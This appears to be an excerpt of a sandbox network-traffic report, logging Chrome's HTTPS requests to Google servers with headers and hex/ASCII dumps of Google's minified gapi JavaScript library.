2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 Data Ascii: romise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=funct
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 Data Ascii: r("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return th
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e Data Ascii: =function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 Data Ascii: e.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)re
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 Data Ascii: 9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49802	216.58.206.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:03 UTC	1037	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_1 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:04 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 208991 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 14 Nov 2024 18:47:55 GMT Expires: Fri, 14 Nov 2025 18:47:55 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 3309 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:04 UTC	464	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 31 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 7a 67 3d 28 77 69 6e 64 6f 77 2e 67 61 70 69 7c 7c 7b 7d 29 2e 6c 6f 61 64 3b 0a 5f 2e 52 6e 3d 5f 2e 78 65 28 5f 2e 49 65 2c 22 72 77 22 2c 5f 2e 79 65 28 29 29 3b 0a 76 61 72 20 53 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 3d 5f 2e 52 6e 5b 61 5d 29 26 26 61 2e 73 74 61 74 65 3c 62 26 26 28 61 2e 73 74 61 74 65 3d 62 29 7d 3b 76 61 72 20 54 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 28 61 3d 5f 2e 52 6e 5b 61 5d 29 3f 61 2e 6f 69 64 3a 76 6f 69 64 20 30 3b 69 66 28 61 29 7b 76 61 72 20 62 3d 5f 2e 75 65 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 Data Ascii: gapi.loaded_1(function(_){var window=this;_.zg=(window.gapi\|\|{}).load;_.Rn=_.xe(_.Ie,"rw",_.ye());var Sn=function(a,b){(a=_.Rn[a])&&a.state<b&&(a.state=b)};var Tn=function(a){a=(a=_.Rn[a])?a.oid:void 0;if(a){var b=_.ue.getElementById(a);b&&b.parentNode
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 64 74 68 3a 22 2b 28 62 3f 62 2b 22 70 78 22 3a 61 2e 73 74 79 6c 65 2e 77 69 64 74 68 7c 7c 22 33 30 30 70 78 22 29 2b 22 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 22 7d 3b 0a 5f 2e 57 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 2c 64 3d 61 2e 79 63 28 29 2c 65 3d 62 26 26 62 2e 77 69 64 74 68 2c 66 3d 62 26 26 62 2e 68 65 69 67 68 74 2c 68 3d 62 26 26 62 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3b 68 26 26 28 63 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 68 29 3b 65 7c 7c 28 65 3d 64 2e 77 69 64 74 68 7c 7c 61 2e 77 69 64 74 68 29 3b 66 7c 7c 28 66 3d 64 2e 68 65 69 67 68 74 7c 7c 61 2e 68 65 69 67 68 74 29 3b 64 2e 77 69 64 74 68 3d 63 2e 77 69 64 74 68 3d 65 3b 64 2e 68 65 Data Ascii: dth:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};_.Wn=function(a,b){var c={},d=a.yc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.he
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 3b 5f 2e 58 6e 28 74 68 69 73 29 7d 3b 61 2e 6f 6e 43 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 3d 65 2e 67 65 74 49 66 72 61 6d 65 45 6c 28 29 3b 65 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 5f 2e 56 6e 28 65 29 7d 7d 3b 0a 5f 2e 53 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 77 69 6e 64 6f 77 3b 61 3d 28 61 7c 7c 62 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2e 6d 61 74 63 68 28 52 65 67 45 78 70 28 22 2e 2a 28 5c 5c 3f 7c 23 7c 26 29 75 73 65 67 61 70 69 3d 28 5b 5e 26 23 5d 2b 29 22 29 29 7c 7c 5b 5d 3b 72 65 74 75 72 6e 22 31 22 3d 3d 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 7c 7c 22 22 29 7d 3b 0a 5f 2e 5a 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 Data Ascii: ;_.Xn(this)};a.onCreate=function(e){e=e.getIframeEl();e.style.cssText=_.Vn(e)}};_.Si=function(a){var b=window;a=(a\|\|b.location.href).match(RegExp(".*(\\?\|#\|&)usegapi=([^&#]+)"))\|\|[];return"1"===decodeURIComponent(a[a.length-1]\|\|"")};_.Zn=function(a,b){a
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 73 69 67 6e 69 6e 2d 22 29 29 7b 63 3d 63 2e 73 75 62 73 74 72 69 6e 67 28 31 34 29 3b 76 61 72 20 64 3d 61 5b 62 5d 2e 63 6f 6e 74 65 6e 74 3b 5f 2e 6c 6f 5b 63 5d 26 26 64 26 26 28 5f 2e 61 6f 5b 63 5d 3d 64 29 7d 7d 69 66 28 77 69 6e 64 6f 77 2e 73 65 6c 66 21 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 5f 2e 6c 6f 29 5f 2e 6c 6f 5b 65 5d 3e 30 26 26 28 62 3d 5f 2e 43 65 28 61 2c 65 2c 22 22 29 29 26 26 28 5f 2e 61 6f 5b 65 5d 3d 62 29 7d 5f 2e 6d 6f 3d 21 30 7d 65 3d 5f 2e 79 65 28 29 3b 5f 2e 41 65 28 5f 2e 61 6f 2c 65 29 3b 72 65 74 75 72 6e 20 65 7d 3b 6f 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 61 2e Data Ascii: signin-")){c=c.substring(14);var d=a[b].content;_.lo[c]&&d&&(_.ao[c]=d)}}if(window.self!==window.top){a=document.location.toString();for(var e in _.lo)_.lo[e]>0&&(b=_.Ce(a,e,""))&&(_.ao[e]=b)}_.mo=!0}e=_.ye();_.Ae(_.ao,e);return e};oo=function(a){var b;a.
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 65 28 29 2c 63 3d 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 67 3a 22 29 21 3d 30 2c 64 3d 61 2e 61 74 74 72 69 62 75 74 65 73 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 64 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 61 2e 61 74 74 72 69 62 75 74 65 73 5b 65 5d 2c 68 3d 66 2e 6e 61 6d 65 2c 6b 3d 66 2e 76 61 6c 75 65 3b 5f 2e 75 6d 2e 63 61 6c 6c 28 44 6f 2c 68 29 3e 3d 30 7c 7c 63 26 26 68 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 22 29 21 3d 30 7c 7c 6b 3d 3d 3d 22 6e 75 6c 6c 22 7c 7c 22 73 70 65 63 69 66 69 65 64 22 69 6e 20 66 26 26 21 66 2e 73 70 65 63 69 66 69 65 64 7c 7c 28 63 26 26 28 68 3d 68 2e 73 75 62 73 74 72 28 35 29 29 2c 62 5b 68 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 6b 29 7d Data Ascii: e(),c=a.nodeName.toLowerCase().indexOf("g:")!=0,d=a.attributes.length,e=0;e<d;e++){var f=a.attributes[e],h=f.name,k=f.value;_.um.call(Do,h)>=0\|\|c&&h.indexOf("data-")!=0\|\|k==="null"\|\|"specified"in f&&!f.specified\|\|(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 28 22 2e 67 2d 22 2b 68 2c 22 67 5c 5c 3a 22 2b 68 29 7d 64 3d 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 2e 6a 6f 69 6e 28 22 2c 22 29 29 7d 65 6c 73 65 20 64 3d 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 3b 61 3d 5f 2e 79 65 28 29 3b 66 6f 72 28 65 3d 30 3b 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 66 3d 64 5b 65 5d 3b 76 61 72 20 6b 3d 66 3b 68 3d 62 3b 76 61 72 20 6c 3d 6b 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6d 3d 76 6f 69 64 20 30 3b 69 66 28 6b 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 67 61 70 69 73 63 61 6e 22 29 29 68 3d 0a 6e 75 6c 6c 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 6c 2e 69 6e 64 65 78 4f 66 28 22 67 3a 22 29 3b 6e 3d 3d 30 3f Data Ascii: (".g-"+h,"g\\:"+h)}d=a.querySelectorAll(e.join(","))}else d=a.getElementsByTagName("*");a=_.ye();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),m=void 0;if(k.hasAttribute("data-gapiscan"))h=null;else{var n=l.indexOf("g:");n==0?
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 65 20 63 2e 64 6f 6e 74 63 6c 65 61 72 3b 76 61 72 20 6c 3b 66 3d 7b 7d 3b 76 61 72 20 6d 3d 6c 3d 61 3b 61 3d 3d 22 70 6c 75 73 22 26 26 63 2e 61 63 74 69 6f 6e 26 26 28 6c 3d 61 2b 22 5f 22 2b 63 2e 61 63 74 69 6f 6e 2c 6d 3d 61 2b 22 2f 22 2b 63 2e 61 63 74 69 6f 6e 29 3b 28 6c 3d 5f 2e 54 65 28 22 69 66 72 61 6d 65 73 2f 22 2b 6c 2b 22 2f 75 72 6c 22 29 29 7c 7c 28 6c 3d 22 3a 69 6d 5f 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 22 2b 6d 2b 22 3f 75 73 65 67 61 70 69 3d 31 22 29 3b 66 6f 72 28 6e 20 69 6e 20 79 6f 29 66 5b 6e 5d 3d 6e 2b 22 2f 22 2b 28 63 5b 6e 5d 7c 7c 79 6f 5b 6e 5d 29 2b 22 2f 22 3b 76 61 72 20 6e 3d 5f 2e 49 6c Data Ascii: e c.dontclear;var l;f={};var m=l=a;a=="plus"&&c.action&&(l=a+"_"+c.action,m=a+"/"+c.action);(l=_.Te("iframes/"+l+"/url"))\|\|(l=":im_socialhost:/:session_prefix::im_prefix:_/widget/render/"+m+"?usegapi=1");for(n in yo)f[n]=n+"/"+(c[n]\|\|yo[n])+"/";var n=_.Il
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 74 3d 0a 31 3b 76 2e 61 74 74 72 69 62 75 74 65 73 3d 41 6f 3b 76 2e 64 6f 6e 74 63 6c 65 61 72 3d 21 6b 3b 68 3d 7b 7d 3b 68 2e 75 73 65 72 50 61 72 61 6d 73 3d 63 3b 68 2e 75 72 6c 3d 75 3b 68 2e 74 79 70 65 3d 61 3b 5f 2e 48 6f 28 61 2c 62 2c 63 2c 75 2c 76 2c 68 29 3b 62 3d 68 2e 69 64 3b 63 3d 5f 2e 79 65 28 29 3b 63 2e 69 64 3d 62 3b 63 2e 75 73 65 72 50 61 72 61 6d 73 3d 68 2e 75 73 65 72 50 61 72 61 6d 73 3b 63 2e 75 72 6c 3d 68 2e 75 72 6c 3b 63 2e 74 79 70 65 3d 68 2e 74 79 70 65 3b 63 2e 73 74 61 74 65 3d 31 3b 5f 2e 52 6e 5b 62 5d 3d 63 3b 62 3d 68 7d 65 6c 73 65 20 62 3d 6e 75 6c 6c 3b 62 26 26 28 28 63 3d 62 2e 69 64 29 26 26 64 2e 70 75 73 68 28 63 29 2c 54 6f 28 61 2c 62 29 29 7d 7d 2c 55 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 Data Ascii: t=1;v.attributes=Ao;v.dontclear=!k;h={};h.userParams=c;h.url=u;h.type=a;_.Ho(a,b,c,u,v,h);b=h.id;c=_.ye();c.id=b;c.userParams=h.userParams;c.url=h.url;c.type=h.type;c.state=1;_.Rn[b]=c;b=h}else b=null;b&&((c=b.id)&&d.push(c),To(a,b))}},Uo=function(a,b,c)
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 62 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 3b 76 61 72 20 64 3d 63 3e 30 3f 6e 65 77 20 61 28 63 29 3a 6e 65 77 20 61 3b 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 3d 7b 54 69 6d 65 72 3a 61 2c 6c 6f 61 64 3a 64 7d 3b 69 66 28 62 29 7b 76 61 72 20 65 3d 62 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3b 65 3e 30 26 26 63 3e 3d 65 26 26 28 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 73 72 74 3d 63 2d 65 29 7d 69 66 28 62 29 7b 76 61 72 20 66 3d 77 69 6e 64 6f 77 2e 5f 5f 67 61 70 69 5f 6a 73 74 69 6d 69 6e 67 5f 5f 2e 6c 6f 61 64 3b 0a 65 3e 30 26 26 63 3e 3d 65 26 26 28 66 2e 74 69 63 6b 28 22 5f 77 74 73 72 74 22 2c 76 6f 69 64 20 30 2c 65 29 2c 66 2e 74 69 63 6b 28 22 77 74 73 72 74 5f 22 Data Ascii: b.responseStart;var d=c>0?new a(c):new a;window.__gapi_jstiming__={Timer:a,load:d};if(b){var e=b.navigationStart;e>0&&c>=e&&(window.__gapi_jstiming__.srt=c-e)}if(b){var f=window.__gapi_jstiming__.load;e>0&&c>=e&&(f.tick("_wtsrt",void 0,e),f.tick("wtsrt_"
2024-11-14 19:43:04 UTC	1378	IN	Data Raw: 65 2e 63 73 69 28 29 2e 74 72 61 6e 29 7d 63 61 74 63 68 28 70 29 7b 7d 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 3b 69 66 28 65 26 26 28 65 3d 65 2e 6c 6f 61 64 54 69 6d 65 73 29 26 26 74 79 70 65 6f 66 20 65 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 65 3d 65 28 29 29 29 7b 65 2e 77 61 73 46 65 74 63 68 65 64 56 69 61 53 70 64 79 26 26 28 64 2b 3d 22 26 70 3d 73 22 29 3b 69 66 28 65 2e 77 61 73 4e 70 6e 4e 65 67 6f 74 69 61 74 65 64 29 7b 64 2b 3d 22 26 6e 70 6e 3d 31 22 3b 76 61 72 20 66 3d 65 2e 6e 70 6e 4e 65 67 6f 74 69 61 74 65 64 50 72 6f 74 6f 63 6f 6c 3b 66 26 26 28 64 2b 3d 22 26 6e 70 6e 76 3d 22 2b 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 7c 7c 65 73 63 61 70 65 29 28 66 29 29 7d 65 2e 77 61 73 41 6c 74 65 Data Ascii: e.csi().tran)}catch(p){}var e=window.chrome;if(e&&(e=e.loadTimes)&&typeof e==="function"&&(e=e())){e.wasFetchedViaSpdy&&(d+="&p=s");if(e.wasNpnNegotiated){d+="&npn=1";var f=e.npnNegotiatedProtocol;f&&(d+="&npnv="+(encodeURIComponent\|\|escape)(f))}e.wasAlte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49803	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:04 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:04 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:04 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
